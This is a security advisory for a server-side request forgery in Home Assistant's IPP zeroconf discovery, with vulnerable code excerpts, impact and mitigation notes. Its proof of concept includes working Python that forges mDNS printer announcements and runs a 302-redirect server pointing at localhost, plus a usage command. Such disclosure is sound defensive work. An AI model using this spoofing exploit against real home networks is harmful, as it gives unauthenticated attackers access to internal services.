PT-2026-105808 · Pypi · Home Assistant

Published

2026-10-01

·

Updated

2026-10-01

CVSS v3.1

5.4

Medium

VectorAV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes ipp. tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.

Details

Home Assistant listens for mDNS service announcements on port 5353. When a service of type ipp. tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config flow.py) processes it automatically.
The async step zeroconf method extracts host, port, and base path directly from the mDNS discovery info without validation:
python
async def async step zeroconf(
  self, discovery info: ZeroconfServiceInfo
) -> ConfigFlowResult:
  host = discovery info.host
  port = discovery info.port
  zctype = discovery info.type
  name = discovery info.name.replace(f".{zctype}", "")
  tls = zctype == " ipps. tcp.local."
  base path = discovery info.properties.get("rp", "ipp/print")

  self.discovery info.update(
    {
      CONF HOST: host,
      CONF PORT: port,
      CONF SSL: tls,
      CONF VERIFY SSL: False,
      CONF BASE PATH: f"/{base path}",
      CONF NAME: name,
      CONF UUID: unique id,
    }
  )
These values are then passed to validate input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:
python
async def validate input(hass: HomeAssistant, data: dict) -> dict[str, Any]:
  session = async get clientsession(hass)
  ipp = IPP(
    host=data[CONF HOST],
    port=data[CONF PORT],
    base path=data[CONF BASE PATH],
    tls=data[CONF SSL],
    verify ssl=data[CONF VERIFY SSL],
    session=session,
  )
  printer = await ipp.printer()
  return {CONF SERIAL: printer.info.serial, CONF UUID: printer.info.uuid}
The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.
An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.

PoC

The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.

Prerequisites

  • Attacker machine on the same local network as the Home Assistant Green device
  • Python 3 with dependencies: pip install -r requirements.txt

Exploit Code

The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:
python
def build dns response(service name, service type, attacker ip, attacker port):
  transaction id = 0x0000 # mDNS always 0
  flags = 0x8400      # Standard response, authoritative answer
  qdcount = 0
  ancount = 4       # 4 answers (service type, SRV, TXT, A)
  nscount = 0
  arcount = 0

  SRV = service name + '.' + service type
  header = struct.pack("!HHHHHH", transaction id, flags, qdcount, ancount, nscount, arcount)

  def encode name(name):
    parts = name.split(".")
    out = b""
    for p in parts:
      out += bytes([len(p)]) + p.encode("utf-8")
    out += b"x00"
    return out

  answers = b""

  # PTR record: ipp. tcp.local -> meomeo. ipp. tcp.local
  answers += encode name(service type)
  answers += struct.pack("!HHI", 12, 1, 1)
  target = encode name(SRV)
  answers += struct.pack("!H", len(target)) + target

  # SRV record
  answers += encode name(SRV)
  answers += struct.pack("!HHI", 33, 1, 120)
  srv data = struct.pack("!HHH", 0, 0, attacker port) + encode name("hihiabcdmeomeo.local")
  answers += struct.pack("!H", len(srv data)) + srv data

  # TXT record
  txt strs = [b"abcd=efgh"]
  txt record = b"".join(bytes([len(s)]) + s for s in txt strs)
  answers += encode name(SRV)
  answers += struct.pack("!HHI", 16, 1, 120)
  answers += struct.pack("!H", len(txt record)) + txt record

  # A record: hihiabcdmeomeo.local -> attacker IP
  answers += encode name("hihiabcdmeomeo.local")
  answers += struct.pack("!HHI", 1, 1, 120)
  ip bytes = socket.inet aton(attacker ip)
  answers += struct.pack("!H", len(ip bytes)) + ip bytes

  return header + answers

def send mdns response(service name, service type, has ip, attacker ip, attacker port):
  sock = socket.socket(socket.AF INET, socket.SOCK DGRAM, socket.IPPROTO UDP)
  sock.setsockopt(socket.IPPROTO IP, socket.IP MULTICAST TTL, 255)
  packet = build dns response(service name, service type, attacker ip, attacker port)
  sock.sendto(packet, (has ip, 5353))
The attacker's HTTP server redirects the incoming IPP request to an internal service:
python
class RedirectHandler(BaseHTTPRequestHandler):
  def do POST(self):
    self.send response(302)
    self.send header("Location", "http://127.0.0.1:<INTERNAL PORT>/<path>")
    self.end headers()

Usage

bash
python3 zeroconf.py -type ipp. tcp.local -has ip <HOME ASSISTANT IP> -attacker ip <ATTACKER IP> -name meomeo

Exploit Flow

  1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service
  2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000
  3. Home Assistant's IPP integration automatically discovers the "printer" and connects to the attacker's HTTP server
  4. The attacker's server responds with a 302 redirect to http://127.0.0.1:<port>/<path>
  5. Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf

Impact

An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes ipp. tcp.local announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.

Mitigations

The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.

Acknowledgements

Discovered by ZDI (ZDI-CAN-28336)

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-4051

Affected Products

Home Assistant